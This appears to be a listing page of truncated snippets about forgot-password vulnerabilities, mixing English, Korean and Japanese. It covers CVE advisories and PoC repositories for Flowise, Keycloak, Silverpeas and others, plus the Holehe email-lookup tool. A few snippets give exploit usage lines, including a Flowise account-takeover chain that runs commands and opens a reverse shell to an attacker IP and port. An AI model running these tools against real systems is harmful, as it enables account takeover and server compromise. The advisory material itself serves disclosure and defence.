holehe

Holehe OSINT - 이메일로 등록된 계정 찾기 👋 안녕하세요! 전문적인 문의나 협업이 필요하시면 다음 주소로 연락해 주세요: [email protected] 📧 가급적 전문 이메일을 사용해 주세요. 짧고 간결하게, 그리고 모두 영어로 부탁드립니다! Holehe 온라인 버전 요약 이메일에서 등록된 계정을 효율적으로 찾습니다. Holehe는 twitter, instagram, imgur 등 120개 이상의 사이트에서 이메일이 계정에 연결되어 있는지 확인합니다. 비밀번호 찾기 기능을 사용해 정보를 가져옵니다. 대상...

CVE-2026-105127

The LaraDashboard software (versions 1.4.2 before 1.4.8 ) is vulnerable to a resource exhaustion issue within its unauthenticated forgot-password and reset-password endpoints. The root cause is the application's use of advanced email validation, which triggers external DNS lookups and paid Abstra...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2025-46047

CVE-2025-46047 Silverpeas -u 例: python silverpeasenumpoc.py http://vulnerable-silverpeas.local -u admin ファイルからユーザー名をテスト: python silverpeasenumpoc.py -w 例: python silverpeasenumpoc.py https://vulnerable-silverpeas.com -w users.txt 出力 スクリプトは次のように出力します: + Username '...' appears...

Flowise <= 3.0.5 - Account Takeover

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts. id: CVE-2025-58434 info: name: Flowise = 3.0.5 - Account Takeover author:...

Flowise-CVE-2025-58434-PasswordReset

CVE-2025-58434 - Flowise AI Unauthenticated Password Reset Overview CVE ID: CVE-2025-58434 Affected Software: Flowise AI Vulnerable Versions: = 3.0.5 Fixed Version: 3.0.6 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.5 contain ...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 PoC 스크립트 CVE-2025-58434 Flowise -lp...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise 비밀번호 재설정 계정 탈취 ATO 연구 및 테스트 목적으로만 사용하십시오! 이 도구를 의도된 용도로 사용하지 않아 운영 중인 인프라에 발생한 손상에 대해 저는 책임지지 않습니다. 소유한 시스템 또는 테스트 권한이 있는 시스템에서만 사용하십시오! 사용법 usage: CVE-2025-58434-PasswordResetNew.py -h -u URL -e EMAIL -p PASSWORD Flowise Password Reset Exploit ATO options: -h, --help show this help messa...

CVE-2026-31283

CVE-2026-31283 설명 비밀번호 찾기 기능을 사용하여 피해자 이메일로 이메일 폭탄 공격을 실행할 수 있습니다. CVSS 3 점수: 7.5 높음 공격 유형 원격 인증되지 않음 영향을 받는 버전 19.1.5 이하 버전 제품 공급업체 Totara 영향을 받는 제품 코드 베이스 Totara LMS 영향을 받는 구성 요소 비밀번호 찾기 API. 완화 조치 비밀번호 찾기 API에 속도 제한rate-limit을 구현하십시오. 취약점 세부 정보 비밀번호 찾기 API는 대상 이메일 주소에 대한 속도 제한rate limiting을 구현...

POC-CVE-2026-18963

CVE-2026-18963 — Keycloak の「パスワードを忘れた場合」フローにおける認証回避 PoC CVE-2026-18963 の Proof of Concept です。これは Keycloak の「パスワードを忘れた場合」/ 資格情報選択フローの欠陥で、攻撃者が必須の本人確認（例: 有効な OTP / 第二要素）を適切に完了しなくても、UPDATEPASSWORD ステップに到達して対象アカウントのパスワードをリセットできるというものです。 このスクリプトは、ブラウザや Selenium を必要とせず、純粋に HTTP でフローを実行します: 1...

CVE-2025-58434-PoC

CVE-2025-58434 PoC POST /api/v1/account/forgot-password를 트리거하는 Python PoC 스크립트입니다. ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요. 소유하지 않았거나 서면 허가 없이 테스트할 권한이 없는 시스템에 이 도구를 실행하는 것은 불법입니다. 크레딧 zaddy6 Isaac David arthurgervais Arthur Gervais 세부 정보 CVE-2025-58434에 대한 PoC 참조:...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

CVE-2024-9441

CVE-2024-9441 취약점 설명: 이 코드는 PHP 기반 웹 애플리케이션의 부적절한 입력 검증으로 인해 발생하는 원격 코드 실행RCE 취약점을 악용합니다. 이 취약점은 "비밀번호 찾기" 기능index.php?c=user&m=forgotpassword에 있으며, 사용자 입력이 제대로 검증되지 않아 공격자가 서버에 임의의 PHP 코드를 주입할 수 있습니다. 이 스크립트는 PHP 기반 애플리케이션의 취약점을 악용하여 악성 PHP 스크립트를 서버에 업로드하고 HTTP 요청을 통해 시스템 명령을 실행합니다. 사용 방법: pytho...

CVE-2024-34582

CVE-2024-34582 Mozilla 및 Chrome Web Browsers, Sunhillo Rici5k 및 Sureline 최신 버전에 영향을 미침 Sunhillo 장치에서 실행 중인 최신 버전의 Web Server가 반사형 XSS에 취약합니다. 이 취약점은 /cgi/usrPasswd.cgi 내의 useridchange 매개변수에 있습니다. 사용자가 웹 서버의 "Forgot Password" 기능을 사용하여 비밀번호를 재설정하려고 할 때, 이 매개변수가 HTML 태그의 값으로 복사됩니다. 공격자는 이 취약점을 이용하여...

PT-2026-96298

Name of the Vulnerable Software and Affected Versions Gladys Assistant versions prior to 5.1.0 Description An issue exists where unauthenticated remote attackers can obtain valid password reset tokens for any account. This occurs due to a lack of server-side validation of the client-supplied orig...

CVE-2026-86452

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86452 MISP Unauthenticated Mail Endpoints Allow Unbounded Storage Consumption and Request Flooding

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86196: Authentication Bypass by Spoofing

Grav API plugin versions before 1.0.20 build password reset links from the untrusted Host header in the forgot-password endpoint, allowing unauthenticated attackers to redirect reset tokens to attacker-controlled domains. Attackers can send password reset requests for any account with a malicious...

CVE-2026-81033

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...

CVE-2026-81033 Automatisch through 0.15.0 User Enumeration via Forgot-Password Response Discrepancy

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...